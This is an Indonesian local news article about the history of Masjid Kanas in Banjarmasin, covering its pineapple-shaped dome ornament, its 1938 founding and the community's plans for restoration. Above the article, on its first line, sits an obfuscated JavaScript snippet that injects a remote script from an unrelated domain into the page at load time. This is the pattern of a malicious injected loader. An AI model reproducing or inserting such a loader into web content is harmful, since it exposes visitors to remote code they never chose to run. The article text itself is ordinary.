(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Ornamen buah nanas di atas kubahnya menjadi keunikan tersendiri bagi sebuah masjid yang terletak di Alalak Tengah, Kecamatan Banjarmasin Utara, Kota Banjarmasin.
Siapa sangka, masjid bernama asli Masjid Jami Tuhfaturroghibin ini merupakan masjid bersejarah. Masjid tertua ke-3 setelah Masjid Jami Banjarmasin.
Masjid ini didirikan oleh seorang ulama Alalak, H Marwan bin H Marwan Amin, yang dikenal sebagai ulama sufi dan konon merupakan keturunan ke-4 Syekh Muhammad Arsyad al Banjari atau Datuk Kelampayan.
Masjid ini pun sebelumnya berjuluk ‘Masjid Kanas’. Kanas merupakan kata yang diambil dari bahasa Arab ‘Kannasa/ كَنَّسَ ‘ berarti menyapu atau membersihkan.
Baca juga : Sumber Ceceran Solar Tak Diketahui, Petugas Bersihkan Jalan Mistar Cokrokusumo Sungai Besar
Masjid Kanas yang dibangun pada 11 Muharram 1357 Hijriyah/14 Maret 1938 tersebut awalnya tak memiliki nama dan hanya beratapkan kubah lambang bulan bintang.
Namun pada tahun 1970-an, Ketua Pengurus Masjid Jami Tuhfaturroghibin, Ahmad Jumirin Asiqin menceritakan, terjadi kejadian kubah masjid itu disambar petir.
“Akhirnya ditutuplah kubahnya itu dengan tajau belanga atau sejenis gentong, lalu ditambah dengan seng lalu dijadikan ornamen buah kanas, itu sejarahnya, sejak saat itu langsung banyak masyarakat yang menjuluki Masjid Kanas,” ujar Ketua Pengurus Masjid Kanas, Ahmad Jumirin Asiqin saat diwawancarai, Senin (3/10/2022).
Lambat laun, masjid ini diberikan nama Masjid Jami Tuhfaturroghibin. Sebuah nama yang dikutip dari nama kitab karangan Datuk Kalampayan sekitar awal tahun 1980-an.
Baca juga : Masih Menjadi Misteri, Pengemudi Xenia Terbalik Depan ULM Banjarbaru
Awalnya Masjid Kanas dibangun bak rumah panggung dengan anjang–anjang, mirip Masjid Agung Demak yang konon juga pembangunannya dipengaruhi oleh Kerajaan Demak.
Hingga saat ini, masjid ini sudah melakukan beberapa kali renovasi hingga mengubah bentuk aslinya yang tak terabadikan.
Masyarakat pun ingin masjid tersebut direvitalisasi lagi ke bentuk aslinya. Namun, diketahui mereka masih terkendala dengan dana dan bahan bangunan yang sulit didapatkan.
“Sayangnya itu, kita mau mengembalikan ke bentuk asal tapi masih terkendala karena butuh dana sekitar Rp 16 miliar untuk revitalisasi dengan bahan ulin. Yang mana juga kayu ulin sendiri sulit di dapat dan mahal, sekarang jarang ada ulin yang bagus,” katanya.
Baca juga : Kebakaran di Kampung Arab, Satu Rumah Rusak dengan Total 10 Jiwa Terdampak
Meski begitu, dikatakan Jumirin, masyarakat masih mempertahankan keaslian empat soko gurunya atau tiang utama masjid tersebut yang berdiri kokoh sepanjang kurang lebih 30 meter ke atas.
Tak hanya itu, masjid berserah ini pun masih memiliki dan memakai sebuah mimbar asli yang berumur lebih dari 80 tahun. Kubah Kanas pun masih identik menjadi benda sejarah keberadaan masjid ini. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.